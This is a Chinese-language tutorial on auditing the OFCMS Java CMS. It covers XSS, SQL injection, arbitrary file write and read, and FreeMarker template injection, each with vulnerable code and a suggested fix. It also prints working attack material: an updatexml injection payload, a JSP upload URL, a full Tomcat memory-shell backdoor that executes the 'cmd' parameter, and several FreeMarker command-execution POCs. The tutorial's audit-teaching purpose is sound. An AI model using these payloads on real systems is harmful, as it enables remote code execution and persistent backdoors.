OFCMS代码审计与漏洞分析教学文档
一、环境搭建
1.1 所需工具
- 开发工具: IDEA 2024
- Java环境: JDK 1.8
- 构建工具: Maven 3.9
- 数据库: MySQL 9.0 Community
- Web服务器: Tomcat 8.5
1.2 项目结构
ofcms-admin
- admin
- controller
- domain
- service
- task
- core
- config
- handler
- interceptor
- plugin
- render
- util
- front
- controller
- template
ofcms-api
- cms
- api
- service
ofcms-core
- core
- annotation
- api
- method
- route
- spring
- utils
- validator
ofcms-front
- page
- front
- blog
- static
ofcms-model
- model
- base
二、审计方法论
2.1 审计步骤
- 阅读文档了解CMS功能点
- 识别高风险功能点
- 进行盲测
- 深入代码审计分析
2.2 审计思路
- 从功能点入手,而非直接搜索危险函数
- 关注用户输入点:评论、上传、表单等
- 检查参数处理是否充分
三、漏洞分析
3.1 存储型XSS漏洞
漏洞位置:
/ofcms-admin/src/main/webapp/WEB-INF/page/default/article.html
漏洞代码:
${data.comment_content} // 未做任何转义处理
漏洞原理:
用户评论内容直接输出到页面,未进行HTML编码或过滤,导致恶意脚本被执行。
修复建议:
- 使用HTML编码函数处理输出
- 实现内容安全策略(CSP)
3.2 SQL注入漏洞
漏洞位置:
/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java
漏洞代码:
public void create() {
try {
String sql = getPara("sql"); // 直接获取用户输入
Db.update(sql); // 直接执行SQL语句
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"), e.getMessage());
}
}
利用方式:
update of_cms_access set site_id=updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)
漏洞原理:
直接拼接用户输入到SQL语句,未使用预编译语句或参数化查询。
修复建议:
- 使用预编译语句(PreparedStatement)
- 实现SQL语句白名单机制
- 最小权限原则配置数据库账户
3.3 文件上传漏洞
漏洞位置:
/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java
漏洞代码:
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace(replace(...));
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}
利用方式:
http://localhost:8081/ofcms_admin_war/admin/cms/template/save.html?file_name=static/N11.jsp&file_content=<恶意代码>
漏洞原理:
- 未对文件名进行路径穿越检查
- 未限制上传文件类型
- 未对文件内容进行安全检测
修复建议:
- 校验文件名,防止路径穿越
- 实现文件类型白名单
- 限制上传目录为不可执行
- 对上传内容进行安全扫描
3.4 内存马注入
利用方式:
上传包含以下内容的JSP文件:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {}
}
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
漏洞原理:
通过上传恶意JSP文件,利用Java反射机制注册监听器,实现持久化后门。
3.5 任意文件读取漏洞
漏洞位置:
/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java
漏洞代码:
public void getTemplates() {
// ...
if (editFile != null) {
String fileContent = FileUtils.readString(editFile);
if (fileContent != null) {
fileContent = fileContent.replace(replace(...));
setAttr("file_content", fileContent);
setAttr("file_path", editFile);
}
}
// ...
}
限制条件:
文件扩展名白名单:
public boolean accept(File file) {
return !file.isDirectory() &&
(file.getName().endsWith(".html") ||
file.getName().endsWith(".xml") ||
file.getName().endsWith(".css") ||
file.getName().endsWith(".js"));
}
利用方式:
http://localhost:8081/ofcms_admin_war/admin/cms/template/getTemplates?filename=N11.html&dir=static
修复建议:
- 加强文件路径校验
- 实现更严格的权限控制
- 记录文件访问日志
3.6 FreeMarker模板注入
漏洞位置:
后台模板编辑功能
利用原理:
FreeMarker模板引擎允许执行Java代码,通过特殊标签注入恶意指令。
POC示例:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>
${value("java.lang.ProcessBuilder","/System/Applications/Calculator.app/Contents/MacOS/Calculator").start()}
其他POC变种:
- 使用JythonRuntime:
<#assign value="freemarker.template.utility.JythonRuntime"?new()>
<@value>import os;os.system("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
- 使用Execute:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("/System/Applications/Calculator.app/Contents/MacOS/Calculator") }
- 使用API方法(需api_builtin_enabled为true):
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}
修复建议:
- 禁用new指令:
new_builtin_class_resolver=TemplateClassResolver.SAFER_RESOLVER - 禁用api指令:
api_builtin_enabled=false - 使用沙盒环境运行模板引擎
- 对模板内容进行安全审核
四、审计技巧总结
4.1 Java危险函数清单
-
SQL相关:
Statement.execute*()JdbcTemplate.queryFor*()(未使用参数化时)Db.update()
-
文件操作:
FileInputStream/FileOutputStreamFileUtils.writeString()Runtime.getRuntime().exec()
-
反序列化:
ObjectInputStream.readObject()JSON.parseObject()(某些实现)
-
反射相关:
Class.forName()Method.invoke()Field.setAccessible()
4.2 审计工具推荐
-
静态分析工具:
- Fortify
- Checkmarx
- SonarQube
-
动态测试工具:
- Burp Suite
- OWASP ZAP
- SQLMap
-
辅助工具:
- JD-GUI (反编译)
- Arthas (运行时诊断)
- JADX (Android/Java反编译)
4.3 环境搭建经验
-
注意组件版本兼容性:
- Tomcat版本与JDK版本匹配
- MySQL驱动版本与MySQL服务版本匹配
-
调试技巧:
- 配置远程调试
- 使用日志框架(Log4j/SLF4J)增加调试信息
- 使用Postman构造复杂请求
五、防御措施建议
5.1 通用安全原则
-
输入验证:
- 白名单优于黑名单
- 在边界处验证所有输入
-
输出编码:
- 根据上下文(HTML/JS/URL等)选择合适的编码方式
-
最小权限原则:
- 数据库账户
- 文件系统权限
- 系统调用权限
5.2 针对已发现漏洞的修复方案
-
XSS防御:
- 实现统一的输出编码过滤器
- 设置Content-Security-Policy头
-
SQL注入防御:
- 全站改用预编译语句
- 实现ORM框架
-
文件上传防御:
- 文件类型校验(通过Magic Number)
- 随机化存储文件名
- 禁用上传目录脚本执行
-
模板注入防御:
- 配置FreeMarker安全策略
Configuration cfg = new Configuration(Configuration.VERSION_2_3_30); cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); cfg.setAPIBuiltinEnabled(false); -
任意文件读取防御:
- 实现文件路径规范化检查
- 限制可访问目录范围
六、进阶学习资源
6.1 Java安全相关
- OWASP Java安全编码指南
- Java安全体系结构(JCA/JSSE)
- Java沙箱机制与安全管理器
6.2 Web安全进阶
- Servlet/JSP安全机制
- Spring Security深度实践
- JWT安全实现方案
6.3 漏洞研究资源
- CVE数据库(https://cve.mitre.org/)
- NVD国家漏洞数据库(https://nvd.nist.gov/)
- OWASP Top 10漏洞清单